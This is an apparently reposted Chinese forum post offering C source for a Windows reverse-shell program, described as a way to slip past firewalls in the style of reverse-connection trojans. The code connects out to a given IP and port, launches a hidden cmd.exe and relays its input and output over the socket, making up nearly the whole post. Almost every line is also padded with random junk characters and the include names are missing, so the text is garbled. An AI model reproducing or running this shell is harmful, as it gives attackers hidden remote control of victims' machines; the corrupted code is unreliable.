这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 rs\*$20
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/* ============================== EMJ}tvL0Tp
Rebound port in Windows NT 1=#`&f5f&
By wind,2006/7 Vd|/]Zj
===============================*/ -BNW\]}
#include ox)/*c<
#include vUj7rDT|
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#pragma comment(lib,"wsock32.lib") R'&^)_
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void OutputShell(); drF"kTD"7
SOCKET sClient; XMuZ'I
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; im*XS@Uj
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void main(int argc,char **argv) Ip?Ueaei
{ _3ZZ-=J:=*
WSADATA stWsaData; 'L= g(
int nRet; >YPfk=0f0
SOCKADDR_IN stSaiClient,stSaiServer; >oLM2VJ
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if(argc != 3) 4|x5-m+T
{ >iaZGXje
printf("Useage:\n\rRebound DestIP DestPort\n"); -!7QH'
return; VSM%<-iQ
} |h8C}P&Z
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WSAStartup(MAKEWORD(2,2),&stWsaData); |1rBK.8
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R?^FO:nM%!
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stSaiClient.sin_family = AF_INET; iSHNt0Nl
stSaiClient.sin_port = htons(0); &a1agi7M
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); A@&+!sO
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Pq;1EI
{ +X.iJ$)
printf("Bind Socket Failed!\n"); )W uuU [(
return; <g,xc)[
} g5/8u2d
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stSaiServer.sin_family = AF_INET; |0m h*+i
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 33-=Z9|r
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >}_c<`:
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) dqPJ 2j $\
{ |yw-H2k1
printf("Connect Error!"); l,pq;>c9a
return; 7dN]OUdi
} D[yaAG<
OutputShell(); _MnMT9
} kU4Zij-O
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void OutputShell() '[:].?M
{ &ViIxJZ1$
char szBuff[1024]; b-%7@j
SECURITY_ATTRIBUTES stSecurityAttributes; 3-tp94`8}t
OSVERSIONINFO stOsversionInfo; 9O P
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; -N*g|1rpa
STARTUPINFO stStartupInfo; tz._*n83
char *szShell; CuU"s)
PROCESS_INFORMATION stProcessInformation; C$M^<z
unsigned long lBytesRead; '$l*FWOEal
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); W:hR81ci
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); TY~0UU$
stSecurityAttributes.lpSecurityDescriptor = 0; a]$KI$)e
stSecurityAttributes.bInheritHandle = TRUE; d.2
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Z
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); R4pbi=
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?RrJYj1
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?9 2+(s
stStartupInfo.wShowWindow = SW_HIDE; Y~gpi L3u
stStartupInfo.hStdInput = hReadPipe; In:h %4>
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; o%Pi;8
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GetVersionEx(&stOsversionInfo); <&b ~(f
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switch(stOsversionInfo.dwPlatformId) ApjLY58=
{
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case 1: [Zi\L>PHO
szShell = "command.com"; vqv(KsD+::
break; SAly~(r?/
default: |M0 XLCNd_
szShell = "cmd.exe"; Lp1wA*
break; RhX
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} TDy@Y>
)
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); eAm7*2
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send(sClient,szMsg,77,0); e Hd{'J<
while(1) [uZU p*.V
{ />.&
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3l<)|!f]g
if(lBytesRead) st/Tb/
{ f}nGWV%,
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (;C_>EL&u
send(sClient,szBuff,lBytesRead,0); nolTvqMT
} 3J%jD
else /O/u5P{J
{ ||9f@9
lBytesRead=recv(sClient,szBuff,1024,0); ?W%3>A
if(lBytesRead<=0) break; Wb/@~!+i`
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5j,)}AYO
} .J&~u0g
} ",Ek| z
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return; tj{rSg7{
}